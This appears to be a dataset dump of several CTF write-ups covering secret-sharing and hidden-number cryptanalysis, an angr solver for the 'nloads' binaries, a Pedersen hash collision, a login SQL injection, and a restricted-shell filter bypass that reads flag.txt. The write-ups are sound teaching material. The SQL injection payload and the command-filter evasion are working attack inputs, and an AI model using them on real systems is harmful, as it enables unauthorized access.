text_chunk
stringlengths 2
1.55k
|
---|
# Melek> ### Difficulty: Medium>> [Melek](https://cr.yp.toc.tf/tasks/melek_3d5767ca8e93c1a17bc853a4366472accb5e3c59.txz) is a secret sharing scheme that may be relatively straightforward to break - what are your thoughts on the best way to approach it?
## Solution```py#!/usr/bin/env sage
from Crypto.Util.number import *from flag import flag
def encrypt(msg, nbit): m, p = bytes_to_long(msg), getPrime(nbit) assert m < p e, t = randint(1, p - 1), randint(1, nbit - 1) C = [randint(0, p - 1) for _ in range(t - 1)] + [pow(m, e, p)] R.<x> = GF(p)[] f = R(0) for i in range(t): f += x**(t - i |
- 1) * C[i] P = [list(range(nbit))] shuffle(P) P = P[:t] PT = [(a, f(a)) for a in [randint(1, p - 1) for _ in range(t)]] return e, p, PT
nbit = 512enc = encrypt(flag, nbit)print(f'enc = {enc}')```The `encrypt` function creates a degree $t$ polynomial with the constant term being the secret and $t$ shares. This is just regular Shamir's secret sharing scheme and the secret can be recovered by interpolating the polynomial, e.g. using Lagrange's method, and evaluating it at $x = 0$.
However, the secret hidden in the polynomial is not the flag, rather a number $c$ s.t. $c \equiv m^e\ (mod\ p)$. Since $p$ is prime, from Euler's theorem it follows that: $m^{p - 1} \equiv m\ (mod\ p)$, therefore $c^{y} \equiv m\ (mod |
\ p)$ where $y \equiv e^{-1}\ (mod\ p - 1)$. However such $y$ does not exist, as both $e$ and $p - 1$ are even (and therefore not coprime). Fortunately 2 is the only common factor of $e$ and $p - 1$, so we can calculate $m^2 \equiv c^{z}\ (mod\ p)$ where $z \equiv (\frac{e}{2})^{-1}\ (mod\ p - 1)$ and then calculate the modular square root of $m^2\ (mod\ p)$. The whole solution can be implemented with just a few lines of SageMath code:```pyfrom Crypto.Util.number import long_to_bytes
with open('output.txt', 'rt') as f: exec(f.read())
e, p, PT = enc
F = GF(p)R = F['x']
poly = R.lagrange_polynomial(PT)ct = poly.coefficients()[0]m = (ct^(Zmod(p - 1)(e // 2)^-1)).sqrt() |
print(long_to_bytes(int(m)).decode())```
## Flag`CCTF{SSS_iZ_4n_3fF!ciEn7_5ecr3T_ShArIn9_alGorItHm!}` |
# Honey> ### Difficulty: Medium>> [Honey](https://cr.yp.toc.tf/tasks/honey_fadbdf04ae322e5a147ef6d10a0fe9bd35d7c5db.txz) is a concealed cryptographic algorithm designed to provide secure encryption for sensitive messages.
## Initial analysis```py#!/usr/bin/env python3
from Crypto.Util.number import *from math import sqrtfrom flag import flag
def gen_params(nbit): p, Q, R, S = getPrime(nbit), [], [], [] d = int(sqrt(nbit << 1)) for _ in range(d): Q.append(getRandomRange(1, p - 1)) R.append(getRandomRange(0, p - 1)) S.append(getRandomRange(0, p - 1)) return p, Q, R, S
def encrypt(m, params): p, Q, R, S = params assert m < p d = int |
(sqrt(p.bit_length() << 1)) C = [] for _ in range(d): r, s = [getRandomNBitInteger(d) for _ in '01'] c = Q[_] * m + r * R[_] + s * S[_] C.append(c % p) return C
nbit = 512params = gen_params(512)m = bytes_to_long(flag)C = encrypt(m, params)f = open('params_enc.txt', 'w')f.write(f'p = {params[0]}\n')f.write(f'Q = {params[1]}\n')f.write(f'R = {params[2]}\n')f.write(f'S = {params[3]}\n')f.write(f'C = {C}')f.close()```The calculates generates $d$ (32) numbers $C_i \equiv Q_im + R_i r_i + S_i s_i\ (mod\ p)$ where $p$ |
is a 512-bit prime, $C_i$, $Q_i$, $R_i$ and $S_i$ are known (the latter 3 are also known to be 512-bit), $m$ is the flag and $r_i$ and $s_i$ are 32-bit and unknown. This is an instance of the hidden number problem with 2 holes. A method to reduce this problem to an instance of hidden number problem or extended hidden number problem has been described in [[^1]]. Another papers that proved to be useful while solving this challenge are [[^2]] and [[^3]].
## Reducing HNP-2H to HNPTo perform this reduction, we'll follow theorem 3 from [[^1]]. Note that $N$ correpsonds to $p$, $\alpha_i$ to $Q_i$, $\rho_{i,1}$ to $R_i$, $\rho_{i,2}$ to $S_i$, $\beta_i$ to $C_i$, $x$ to $m$, and finally $k_{i,1}$ and $k_{i,2}$ to |
$r_i$ and $s_i$. Additionally, $\mu_1 = \mu_2 = 32$ and $B_{min} = p^{\frac{1}{2}}2^\frac{32 - 32}{2} = \sqrt{p}$.
First step is to calculate $\lambda_{i, B_{min}}$. For that, lemma 16 from [[^2]] can be used. $A$ is defined in theorem 3 of [[^1]] as $R_i^{-1}S_i$ and $B$ is $B_{min}$. The following SageMath code will calculate $\lambda$ given $A$, $B$ and $p$:```pydef calculate_lambda(A, B, p): cf = (A/p).continued_fraction() lm = None for i in range(cf.length()): if cf.denominator(i) < B and B <= cf.denominator(i + 1): lm = cf.denominator(i) break assert lm is not None return lm```
Now we can calculate the |
values of $\alpha''_i$ and $\beta''_i$ using formulas from theorem 3 of [[^1]] and store them in 2 lists for later use.
## Solving HNPNow we can use definition 4.10 from [[^3]] to solve the hidden number problem. We'll use Kannan's embedding method. The numbers $a_i$ from this definition correspond to our $\beta''_i$, while $t_i$ correspond to $-\alpha''_i$. Note that the number $B$ in this definition is the upper bound on $k'_i$ from theorem 3 of [[^1]], that is $\sqrt{p}2^{34}$.
## Full scriptThe complete script with the solution is available in [solve.sage](./solve.sage)
## Flag`CCTF{3X7eNdED_H!dD3n_nNm8eR_pR0Bl3m_iN_CCTF!!}`
[^1]: Hlaváč, M., Rosa, T. (2007). Extended Hidden Number Problem and Its Cryptanal |
ytic Applications. In: Biham, E., Youssef, A.M. (eds) Selected Areas in Cryptography. SAC 2006. Lecture Notes in Computer Science, vol 4356. Springer, Berlin, Heidelberg. https://doi.org/10.1007/978-3-540-74462-7_9[^2]: Nguyen, Shparlinski The Insecurity of the Digital Signature Algorithm with Partially Known Nonces . J. Cryptology 15, 151–176 (2002). https://doi.org/10.1007/s00145-002-0021-3[^3]: Joseph Surin, & Shaanan Cohney. (2023). A Gentle Tutorial for Lattice-Based Cryptanalysis. https://eprint.iacr.org/2023/032 |
# nloads
ChatGPT: "Why did the application break up with the dynamic library? Because every time they got close, it changed its address!"
Don't break up. Get the flag. There is only one flag.
nloads provides us with 13613 folders of binaries, each folder contains a `./beatme` binary that takes 8 bytes of input.Concatenating all inputs in order of the folder numbers gives a JPG that contains the flag.
## Solution
As the last few years this DEFCON Qualifiers had another ncuts challenge.
In this version of the challenge we are given 13613 folders of binaries that contain a `beatme` executable and lots of shared objects that get loaded dynamically.
![](img/main.png)
The `main` function of the `beatme` binaries first read in 8 bytes of input, load the shared objects and resolve a function pointer from them that is stored globally.
The functions that are loaded sometimes just load another shared object and resolve another function.Some of them also open files and do checks on them. At the end of the loading |
chain have some sort of simple mathematical operation done on two 32 bit integer arguments.
For the `0` folder the path of loaded objects and their code looks like this:
```./nloads/output/0/beatme├── ./hESMAGmJLcobKdDM.so | vpUjPultKryajeRF | dlopen│ └── ./fXIojFVxtoKLAQkl.so | cYUjXnCTKSsoWuTc | dlopen│ └── ./faqPTjZOOHXeXEpy.so | LEFxYyssPEkFvpMv | ADD├── ./gmslkgaWMJOutKwE.so | WwWwhaYzvESxxCtA | dlopen - fopen("/bin/cat")│ └── ./OpcfQADLYqnRHIrD.so | NfyDgNIyzqJBsfGC | dlopen│ └── ./PTOzoTFUytSUryUH.so | yyhOPBzq |
xJFfoibe | dlopen - fopen("/etc/passwd")│ └── ./gZqXyItfVsTnykLE.so | RZKYSMmIiDZRwEUo | clock_gettime├── ./YZAEtozBANntDssV.so | BsuVOixRHktNdzov | dlopen - fopen("/etc/passwd")│ └── ./giECPkQyMzTUivnO.so | dkCJxnpfHJkjQOXs | dlopen - fopen("/bin/cat")│ └── ./LbBISXFSnbuzCqLA.so | JhbxjMZkFnGqzKGo | ADD├── ./WtnSjtVeJWLcIgBy.so | IDnaWMupKzPlMsYd | dlopen - fopen("/bin/cat")│ └── ./OxQLBttjUWpVxuSj.so | WruKphsJMAMgFhlt |
| dlopen - fopen("/tmp//etcoypYMnEdeE")│ └── ./VexOOKcjwUCANWfb.so | MhiCbmiDRGeevfGO | dlopen - fopen("/bin/cat")│ └── ./INaRqvvzUowYHXvy.so | ZJjXnFqRtjlYvBMB | dlopen│ └── ./fYDIVIPIuHskBvRY.so | GmTLZFPmQdhOVGtQ | ADD├── ./AOinIPkXvMtrtbha.so | pnstlKQzXnehUbWP | dlopen│ └── ./WDhDHuuesoPtRCMX.so | XdpJmBLmALOHLqWC | ADD├── ./oSeJlOQqzYFRkBXO.so | tYUJnAiKvXEypybB | dlopen - fopen("/tmp//etcvPysvbcgxV")│ |
└── ./NeBYfDnofuzcfcOa.so | uqoOmnnLydHceoaY | dlopen│ └── ./AmiOWZLBXmVOGVXC.so | ZREWkEkEJCljQjvN | ADD├── ./qtgdwCpVabuYgJeB.so | WauZUfHZMyZrGIRm | dlopen - fopen("/bin/cat")│ └── ./vwhDqObLEawhHzbG.so | CMSpCHdOrDvZYIEI | dlopen│ └── ./WxpDsAgcpVmEBIjR.so | hQTzWnhthFHlfCJR | dlopen│ └── ./rhsHpKBVaYQbaajf.so | gxULzTOsTWmdkjsG | dlopen│ └── ./ZSRjpLdKATimmynK.so | HjjdWoMQsPLLmUsq | SUB├── ./kKEo |
BUyIcsAleOQv.so | CndYDHCucWiGGHUM | dlopen - fopen("/tmp//etckFbnJjRnlz")│ └── ./FDQnKbBRxLwoBlIC.so | ELvmvTCBVmvsrFSn | dlopen - fopen("/tmp//usrKcNrWpYxaF")│ └── ./VaQnStigqoUcueNM.so | JyEUFKjxJWxwnbGD | dlopen│ └── ./IMXDndASCwPZnwOi.so | AtwBjsyfzbJaxqPK | dlopen│ └── ./XySmDZCRsDnORgil.so | AXONVpGXcUIuvLUD | SUB├── ./XOowkkodSIJHeQPx.so | AXWAPxECOPaEjmyt | dlopen│ └── ./KGJKDiOHoMzSmBrC.so | x |
udGJZvVCYuVCghJ | dlopen - fopen("/bin/cat")│ └── ./HHihKcFlkVOCyUoL.so | PmNOoCHGFJERNWlY | dlopen - fopen("/etc/passwd")│ └── ./cbbPXuHeBYqzplll.so | fBTPLOVODtulwcIt | SUB├── ./UvwLhcZXVYyFTrOJ.so | KLKwJYfZKPkXRFvN | dlopen│ └── ./eKreUawgmdxBusSk.so | uSoOkCwSububLxRP | dlopen - fopen("/tmp//etcNriwdawvUu")│ └── ./FuQuBWtSCsOCnzXm.so | akKKIwUmiVjZEQKS | dlopen - fopen("/bin/sh")│ └── ./zaLckaGIWFXKwdAP.so | Sfh |
gFobsxgiYiTQG | dlopen - fopen("/bin/sh")│ └── ./UmhuSlDMokkmZlNQ.so | NHDgVTdZhKyQIGoi | SUB├── ./JmMUtAorIujHtIbX.so | sCwDlfEOldeMrKhy | dlopen - fopen("/bin/cat")│ └── ./UHoVMGHkrluvZRXp.so | jhyMUEjwBHUJIKNP | dlopen - fopen("/bin/sh")│ └── ./hVrxgzMLDlzslgIr.so | NzSKCTuUaHnyBQyg | SUB├── ./zNNidAnJboLBCBIs.so | xBAvRbuqtBsJtzFN | dlopen - fopen("/bin/sh")│ └── ./seJTauTedfaBkIgC.so | xKJdZbgYTiIVDUox | XOR├── ./GEtn |
xdbVfDmvIwFC.so | EvnUyQofXwDSGpZB | XOR├── ./JyIolYzAMfpUSEKT.so | ulyILNvejqqyPsZg | dlopen - fopen("/tmp//etcvBwSjsGsTB")│ └── ./gFyyIhMdoWtMTvfJ.so | dlKZgUCkhJHTtEup | KEY SHUFFLE├── ./iRncDoXjGXNizFTC.so | CtVaDQBnebZIKTzI | KEY SHUFFLE├── ./WOIyABNGeMkgJjhG.so | RIfpDnyUTxPAZYbm | dlopen - fopen("/tmp//usreQCCVKCvme")│ └── ./IuScbufhNSCdfYTn.so | IwufdPKvfVXQceox | dlopen - fopen("/tmp//etchSoMkTLslV")│ └── ./WD |
NxbvSyNIjywCBl.so | woyRTGrXkqhZsZZv | dlopen│ └── ./GnMlHrWdlQtLfHhw.so | ahWQzTEVccWdtIPX | KEY SHUFFLE└── ./YQMdeAtASVBKahuB.so | EaaEllDnCAVVihsj | dlopen - fopen("/etc/passwd") └── ./UEPOVenSIxiDOhPf.so | SRUckolcFjIykxbU | dlopen - fopen("/tmp//usrQDtJEyexaa") └── ./tjviHHXLiGhjmuhw.so | GzXoCldywcoGdEtz | dlopen - fopen("/tmp//usruhBgcIYSbY") └── ./YVJNDrZJLSOYOJNg.so | DgqpAJtAPoBEmjEW | dlopen - fopen("/bin/sh") |
└── ./xkVCBzrNnSsCwPno.so | gvHfpcEhaPRWdkhX | KEY SHUFFLE```
Notable here:
- `fopen` calls to existing files (`/bin/sh`, `/etc/passwd`) which the functions verify exist or exit- `fopen` calls to non-existing files (`/tmp/<something`) which the functions verify do not exist or exit- `clock_gettime` calls which are just `arg0+arg1` but evaluate to `arg0+arg1+1` if function is not executed fast enough (e.g. under a debugger)- `ADD` / `SUB` / `XOR` which all do `arg0 op arg1`- `"KEY SHUFFLE"` which do some simple operation using `arg0`, `arg2` and hardcoded constants that are different in each folder
![](img/callenc.png)
The actual functionality of the `beatme` binaries are at the end where given a `key` and an amount of iterations the input is encrypted and compared against a hardcoded value.If our encrypted input matches |
we get a `:)` output, `:(` otherwise.
![](img/encrypt.png)
The `encrypt` function here is the most interesting part as it is obfuscated with the function pointers we resolved at the start of `main`.
To start with we wrote angr code to generically solve this by inverting `encrypt` for each `beatme` binary individually but it turned out to be very slow.
After more analysis we realized the following similarities between the sub-challenges:
- The `encrypt` code always does 16 loop iterations- The constant `0x9e3779b9` always appears- The `"KEY SHUFFLE"` functions only ever appear the beginning and operate on the `k` input
This (together with cleaning the code up for one specific binary and verifying it) made us realize that this is just plain TEA with modified keys.
So each of sub-challenges has a `key`, an `iteration count`, `key scrambling functions` and an `encrypted input`.We need to apply TEA decryption `iteration count`-times on the `encrypted |
input` with the `key` run through the `key scrambling functions` to get the correct input.To do this we need to extract these values from the sub-challenges/folders.
Instead of extracting the `key` and `key scrambling functions` separately we chose to just get the `scrambled key` that is actually used in the TEA encryption by evaluating the code up to that point and extracting the key.
Our solution is build using angr again and does the following things:
- Preload the shared objects in the sub-challenge folder and hook `dlopen` and `dlsym` to resolve the function pointers correctly- Hook `fopen` and `fclose` and code in behavior to pass the checks for existing and non-existing files without accessing the file-system- Use `CFGFast` to find the `main` (from `__libc_start_main`), the `encrypt` function (only internal call in `main`) and some specific basic blocks- Count the amount of `encrypt` calls (if this number is higher than 1, then `iteration count` was inlined and the amount of |
calls is our count)- Extract `iteration count` if it wasn't inlined from a `mov ebx, <amount>` instruction just before the `encrypt` loop- Get the hardcoded `encrypted input` from the only comparison in `main`- Find the start of the TEA loop in the `encrypt` function and use angr to explore up to here to extract the scrambled key
With this we have all necessary information to try decrypting the `encrypted input` and see if running the binary confirms it with a `:)`.
```python
import angrimport claripyimport loggingimport globimport subprocessimport multiprocessingimport tqdm
logging.getLogger('angr').setLevel(logging.ERROR)
# The actual function of the encryption is just TEAdef tea_decrypt(a, b, k): sum = 0xC6EF3720 delta = 0x9E3779B9
for n in range(32, 0, -1): b = (b - ((a << 4) + k[2] ^ a + sum ^ (a >> |
5) + k[3]))&0xffffffff a = (a - ((b << 4) + k[0] ^ b + sum ^ (b >> 5) + k[1]))&0xffffffff sum = (sum - delta)&0xffffffff
return [a, b]
def verify_binary(num_path, inp): proc = subprocess.Popen("./beatme", cwd=num_path, stdin=subprocess.PIPE, stdout=subprocess.PIPE) stdout, stderr = proc.communicate(inp) if b":)" in stdout: return True else: return False
def find_values(num_path):
class Dlopen(angr.SimProcedure): # We already force-loaded all the libraries so no need to resolve them at runtime def run(self, *skip): return 1
class FcloseHook(angr.SimProcedure): # Ignore closing of fake fopen'd files def run(self, *skip): return 1
class FopenHook(ang |
r.SimProcedure): def run(self, name, thing): name = self.state.mem[name.to_claripy()].string.concrete name = name.decode('utf-8')
# Some wrappers try to open random files in /tmp/ # and expects them to fail if "tmp" in name: return 0 # Some other wrappers try to known good files # and expects them to open successfully return 9
class DlsymHook(angr.SimProcedure): # manually resolve dlsym using already loaded symbols def run(self, frm, name): name = self.state.mem[name].string.concrete name = name.decode('utf-8') lo = list(proj.loader.find_all_symbols(name)) return lo[0].rebased_addr
load_options = {} # load all libraries in the binary folder # this way we do not need to load them "at runtime" load_options['force_load_libs'] = glob.glob(f"{num_path}/*.so") |
proj = angr.Project(num_path+"/beatme", auto_load_libs=False, load_options=load_options, main_opts = {'base_addr': 0x400000, 'force_rebase': True})
# Replacing those for quick resolving of dlsym calls proj.hook_symbol('dlopen', Dlopen()) proj.hook_symbol('dlsym', DlsymHook()) # Replacements for "anti-angr" fopen calls proj.hook_symbol('fopen', FopenHook()) proj.hook_symbol('fclose', FcloseHook())
# This gets us the main function address from _start # The CFGFast settings here are optional and only set to increase speed (~2x) # This is the main bottleneck cfg = proj.analyses.CFGFast(force_smart_scan=False, symbols=False, indirect_jump_target_limit=1) entry_node = cfg.get_any_ |
node(proj.entry) main_addr = entry_node.successors[0].successors[0].addr main_f = cfg.kb.functions[main_addr]
encrypt_function = None encrypt_callsite = None encrypt_function_calls = 0 breakpoint_address = None
# Get all call sites within main for x in main_f.get_call_sites(): fun = cfg.kb.functions[main_f.get_call_target(x)] # The only call main makes that isn't an imported function is the call to the encrypt function if fun.name.startswith('sub_'): encrypt_function = fun # Store the first call site of encrypt to get the loop limit if encrypt_callsite == None: encrypt_callsite = x # Count the actual calls in case the loop got inlined (this will be 2 if not inlined because of loop placement, 2 if inlined 2 iterations or 3 if inlined 3 iterations) encrypt_function_calls += 1 # if no break point address has been found yet search |
for it if breakpoint_address == None: srcHighest = 0 # the breakpoint should be at the start of the encrypt loop to extract the unscrambled key # we can get there from the transition graph by getting the destination of the last jump backwards (which happens at the end of the loop) for src, dst in fun.transition_graph.edges: if src.addr < srcHighest: continue if dst.addr > src.addr: continue srcHighest = src.addr breakpoint_address = dst.addr loop_count = None call_bb = cfg.model.get_any_node(encrypt_callsite) # If the loop is not inlined then the call basic block contains "mov ebx, <amount>" for instr in call_bb.block.capstone.insns: if instr.mnemonic == 'mov' and instr.op_str.startswith('ebx, '): j_end = instr.op_str.index(' ') loop_count = int(instr.op_str[ |
j_end+1:].replace("h", ""), 16) # If no mov ebx, <amount> have been found in the first call bb then it is inlined if loop_count == None: # The loop got inlined and the amount of calls to encrypt are the amount of iterations loop_count = encrypt_function_calls assert loop_count != None
encrypted_compare_constant = None # Search main for the basic block that compares against the encrypted input for block in main_f.blocks: last_constant = None for instr in block.capstone.insns: # store the last found constant move if instr.mnemonic == 'movabs': end = instr.op_str.index(' ') last_constant = int(instr.op_str[end+1:].replace("h", ""), 16) # the last constant moved into a register is the compare constant if instr.mnemonic == 'cmp': encrypted_compare_constant = last_constant break if encrypted_compare_constant != None: break
assert |
encrypted_compare_constant != None # Initialize angr bytes_list = [claripy.BVS('flag_%d' % i, 8) for i in range(8)] flag = claripy.Concat(*bytes_list) st = proj.factory.entry_state(stdin=flag) st.options.ZERO_FILL_UNCONSTRAINED_MEMORY = True sm = proj.factory.simulation_manager(st)
# At the breakpoint these registers always contain the key sm.explore(find=breakpoint_address) state = sm.found[0] k0 = state.solver.eval(state.regs.ebx) k1 = state.solver.eval(state.regs.r15d) k2 = state.solver.eval(state.regs.r14d) k3 = state.solver.eval(state.regs.eax)
# TEA a and b from encrypted value a = (encrypted_compare_constant)&0xffffffff b |
= (encrypted_compare_constant>>32)&0xffffffff # Decrypt the expected input for i in range(loop_count): a,b = tea_decrypt(a, b, [k0, k1, k2, k3]) # Convert it to a byte string decrypted_input = bytes([a&0xff, (a>>8)&0xff, (a>>16)&0xff, (a>>24)&0xff, b&0xff, (b>>8)&0xff, (b>>16)&0xff, (b>>24)&0xff]) # Verify that the binary agrees on this input confirmed_working = verify_binary(num_path, decrypted_input) return (k0, k1, k2, k3, encrypted_compare_constant, loop_count, decrypted_input.hex(), confirmed_working)
def solve_binary(nr): k0, k1, k2, k3, encrypted_compare_constant, loop_count, decrypted_input, confirmed_working = find_values(" |
./nloads/output/"+str(nr)) return (nr, decrypted_input, confirmed_working, k0, k1, k2, k3, encrypted_compare_constant, loop_count)
# This takes about 3 hours on 16 coresnprocesses = 16
start = 0end = 13612
if __name__ == '__main__': with multiprocessing.Pool(processes=nprocesses) as p: result = list(tqdm.tqdm(p.imap_unordered(solve_binary, range(start, end+1)), total=(end-start+1))) result = sorted(result, key=lambda x: x[0]) # This is useful for diagnostics if something goes wrong lines = "" for entry in result: lines += (','.join([str(x) for x in entry])) + "\n" lines = lines[:-1] file = open("output.csv", "w") file.write(lines) file.close() print("Done writing CSV..") # This is the |
output binary = b'' for entry in result: binary += bytes.fromhex(entry[1]) file = open("output.jpg", "wb") file.write(binary) file.close() print("Done writing JPG..")```
Running this with multiple processes (which takes multiple hours, during the competitions we used 64 cores for this) and concatenating the correct inputs of the sub-challenges gives us a JPEG with the flag:
![](output.jpg) |
__Original writeup:__ <https://github.com/kyos-public/ctf-writeups/blob/main/insomnihack-2024/Pedersen.md>
# The Challenge
The goal was to find a collision in the Pedersen hash function (i.e., find distinct inputs that yield the same output).
We had access to a running version of the code (a hashing oracle), as indicated in the `README.md`:
```MarkdownYou do not need to go to the CERN to have collisions, simply using Pedersen hash should do the trick.
`nc pedersen-log.insomnihack.ch 25192`
Test locally: `cargo run -r````
The implementation (in Rust) of the hash function was provided. All the interesting bits were in the `main.rs` file:
```Rustuse starknet_curve::{curve_params, AffinePoint, ProjectivePoint};use starknet_ff::FieldElement;use std::ops::AddAssign;use std::ops::Mul;use std::time::Duration |
;use std::thread::sleep;
mod private;
const SHIFT_POINT: ProjectivePoint = ProjectivePoint::from_affine_point(&curve_params::SHIFT_POINT);const PEDERSEN_P0: ProjectivePoint = ProjectivePoint::from_affine_point(&curve_params::PEDERSEN_P0);const PEDERSEN_P2: ProjectivePoint = ProjectivePoint::from_affine_point(&curve_params::PEDERSEN_P2);
fn perdersen_hash(x: &FieldElement, y: &FieldElement) -> FieldElement { let c1: [bool; 16] = private::C1; let c2: [bool; 16] = private::C2;
let const_p0 = PEDERSEN_P0.clone(); let const_p1 = const_p0.mul(&c1;; let const_p2 = PEDERSEN_P2.clone(); let const_p3 = const_p0.mul(&c2;; // Comput |
e hash of two field elements let x = x.to_bits_le(); let y = y.to_bits_le();
let mut acc = SHIFT_POINT;
acc.add_assign(&const_p0.mul(&x[..248])); acc.add_assign(&const_p1.mul(&x[248..252])); acc.add_assign(&const_p2.mul(&y[..248])); acc.add_assign(&const_p3.mul(&y[248..252])); // Convert to affine let result = AffinePoint::from(&acc;;
// Return x-coordinate result.x}
fn get_number() -> FieldElement { let mut line = String::new(); let _ = std::io::stdin().read_line(&mut line).unwrap(); // Remove new line line.pop(); let in_number = FieldElement::from_dec_str(&line).unwrap_or_else(|_| { println!("Error: bad number"); std::process |
::exit(1) }); in_number}
fn main() { println!("Welcome in the Large Pedersen Collider\n"); sleep(Duration::from_millis(500)); println!("Enter the first number to hash:"); let a1 = get_number(); println!("Enter the second number to hash:"); let b1 = get_number(); let h1 = perdersen_hash(&a1, &b1;; println!("Hash is {}", h1);
println!("Enter the first number to hash:"); let a2 = get_number(); println!("Enter the second number to hash:"); let b2 = get_number(); if a1 == a2 && b1 == b2 { println!("Input must be different."); std::process::exit(1); }
let h2 = perdersen_hash(&a2, &b2;; println!("Hash is {}", h2);
if h1 != h2 { println!("No collision."); } else { println!("Collision found, congrats here is the flag {}", private:: |
FLAG); }}```
So we can almost run the code locally, but the `private` module is missing. Looking at the rest of the code, we can infer that the private module contains the flag and two mysterious constants: `C1` and `C2`, which we can initialize arbitrarily for now:
```Rustmod private { pub const FLAG: &str = "INS{this_is_the_flag}"; pub const C1: [bool; 16] = [false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false]; pub const C2: [bool; 16] = [false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false];}```
We then see in the main function that we actually need two numbers to compute one hash value. We must therefore find four numbers `a1`, `b1`, `a2`, `b2`, such that `(a1 == a2 && b1 == b2)` is false, but `perders |
en_hash(&a1, &b1) == perdersen_hash(&a2, &b2)`.
A first important observation here is that `b1` can be equal to `b2`, as long as `a1` is different from `a2`.
# The Theory
There are two non-standard imports: `starknet_curve` and `starknet_ff`, which are both part of the `starknet-rs` library: <https://github.com/xJonathanLEI/starknet-rs>.
The documentation tells us how the Pedersen hash function is supposed to be implemented: <https://docs.starkware.co/starkex/crypto/pedersen-hash-function.html>.
Normally, $H$ is a Pedersen hash on two field elements, $(a, b)$ represented as 252-bit integers, defined as follows (after some renaming to keep the math consistent with the code):
$$ H(a, b) = [S + a_\textit{low} \cdot P_0 + a_\textit{high} \cdot P_1 + |
b_\textit{low} \cdot P_2 + b_\textit{high} \cdot P_3]_x $$
where
- $a_\textit{low}$ is the 248 low bits of $a$ (same for $b$);- $a_\textit{high}$ is the 4 high bits of $a$ (same for $b$);- $[P]_x$ denotes the $x$ coordinate of an elliptic-curve point $P$;- $S$, $P_0$, $P_1$, $P_2$, $P_3$, are constant points on the elliptic curve, derived from the decimal digits of $\pi$.
But looking at the challenge's implementation, we see that the constant points are actually related:
- $P_1 = P_0 \cdot C_1$- $P_3 = P_2 \cdot C_2$
Given the above equations, we can rewrite the hash function as follows:
$$ H(a, b) = [S + (a_\textit{low} + a_\textit{high} \cdot C_1) \cdot P0 + (b_\textit{low} |
+ b_\textit{high} \cdot C_2) \cdot P2]_x $$
Since we've established that we can keep $b$ constant, let's find a pair $a$ and $a'$ such that
$$ a_\textit{low} + a_\textit{high} \cdot C_1 = a_\textit{low}' + a_\textit{high}' \cdot C_1 $$
Given the linear nature of these equations, there is a range of solutions. If $a_\textit{low}$ is increased by some $\delta$, then $a_\textit{high}$ can be decreased by $\delta/C_1$ to keep the term $(a_\textit{low} + a_\textit{high} \cdot C_1) \cdot P0$ unchanged.
A straightforward solution is to pick $\delta = C_1$, which implies that if we increase $a_\textit{low}$ by $C_1$ and decrease $a_\textit{high}$ by 1, we have a collision.
# The Practice
Now in theory we know how to find a collision, but we don't actually know `C1` and `C |
2`. Since they are just 16 bits long, let's bruteforce them! Or at least one of them... As we don't need different values for `b1` and `b2`, we can leave them at 0 and thus `C2` is not needed. You could bruteforce `C1` with a piece of code that looks like this:
```Rust// Try all possible values of c1for i in 0..(1 << 16) { let mut c1 = [false; 16]; for j in 0..16 { c1[j] = (i >> j) & 1 == 1; }
let const_p0 = PEDERSEN_P0.clone(); let const_p1 = const_p0.mul(&c1;; let const_p2 = PEDERSEN_P2.clone(); let const_p3 = const_p0.mul(&c2;;
let x = x.to_bits_le(); let y = y.to_bits_le();
let mut acc = SHIFT_P |
OINT;
acc.add_assign(&const_p0.mul(&x[..248])); acc.add_assign(&const_p1.mul(&x[248..252])); acc.add_assign(&const_p2.mul(&y[..248])); acc.add_assign(&const_p3.mul(&y[248..252]));
let result = AffinePoint::from(&acc;;
// Check if the result is the expected hash if result.x == FieldElement::from_dec_str("3476785985550489048013103508376451426135678067229015498654828033707313899675").unwrap() { // Convert c1 to decimal let mut c1_dec = 0; for j in 0..16 { c1_dec |= (c1[ |
j] as u16) << j; } println!("Bruteforce successful, c1 = {}", c1_dec); break; }}```
For this to work, we need to query the hashing oracle with $a_\textit{high} \ne 0$ (otherwise `C1` does not play any role in the computation of the final result) and $b_\textit{high} = 0$. For example, we could set the first number to $2^{248} = 452312848583266388373324160190187140051835877600158453279131187530910662656$ and the second number to $0$, and obtain a hash value of $347678598555048904801310350837645142613567806722901 |
5498654828033707313899675$.
We then find by bruteforce that $C_1 = 24103$.
# The Solution
Now that we have everything we need, the final solution is:
```Enter the first number to hash: 452312848583266388373324160190187140051835877600158453279131187530910662656Enter the second number to hash: 0Hash is: 3476785985550489048013103508376451426135678067229015498654828033707313899675
Enter the first number to hash: 24103Enter the second |
number to hash: 0Hash is: 3476785985550489048013103508376451426135678067229015498654828033707313899675```
This works because we start with $a_\textit{low} = 0$ and $a_\textit{high} = 1$ (i.e., $2^{248}$), and then we increase $a_\textit{low}$ by $C_1$ and decrease $a_\textit{high}$ by $1$ to obtain 24103.
Submitting such a collision to `nc pedersen-log.insomnihack.ch 25192` gives us the `INS{...}` flag (which we forgot to save, sorry). |
from memory and a partial note.
The web page contained a SQL injection.
There was a condition to pass in order to go into the get results.
if username != 'admin' or password[:5] != 'admin' or password[-5:] != 'admin': ...exit() This required username to be "admin"And it required that the password starts with admin [:5] and finished with admin [-5:]
The classic SQL injection = " klklk' OR '1=1' " will not work and needed to be transformed into "admin' OR '(something TRUE finishing with admin')"So the final result wasusername="admin"password="admin'+OR+'admin=admin'" |
We can see a shell ```$ cat with | vim/bin/bash: line 1: vim: command not found```And apparently the shell is stuck in a mode, where each command is prefixed by a 'cat' command of some file, which is piped to the command we are entering. For example, the command 'more' will result in the piped text to be printed on the screen:```$ cat with | moreA cantilever is a rigid structural element that extends horizontally...```
We can also transform this text with 'base64'```$ cat with | base64QSBjYW50aWxldmVyIGlzIGEgcmlnaWQgc3RydWN0dXJhbCBlbGVtZW50IHRoYXQgZXh0ZW5kcyBob3Jpem9udGFsbHkgYW5kIGlzIHVuc3VwcG9ydGVkIGF0IG9uZSBlbmQuIFR5cGljYWxseSBpdCBl...```And 'ls' appears |
to be executable too```$ cat with | lsflag.txtrunwith```Some characters seem to be disallowed
```$ cat with | -disallowed: -$ cat with | ;disallowed: ;$ cat with | flagdisallowed: flag
Also disallowed are ", ', $, \, -, & and flag```We might be able to circumvent the forbidden 'flag' keyword with some command line tools: ```$ cat with | echo fuag.txt | tr u lflag.txt$ cat with | echo fuag.txt | tr u l | cat/bin/bash: fork: retry: Resource temporarily unavailableflag.txt```Another approach```printf %s fl a g . t x t```
Solution:
```$ cat with | printf %s fl a g . t x t | xargs cat```
Flag:```bctf{owwwww_th4t_hurt}``` |
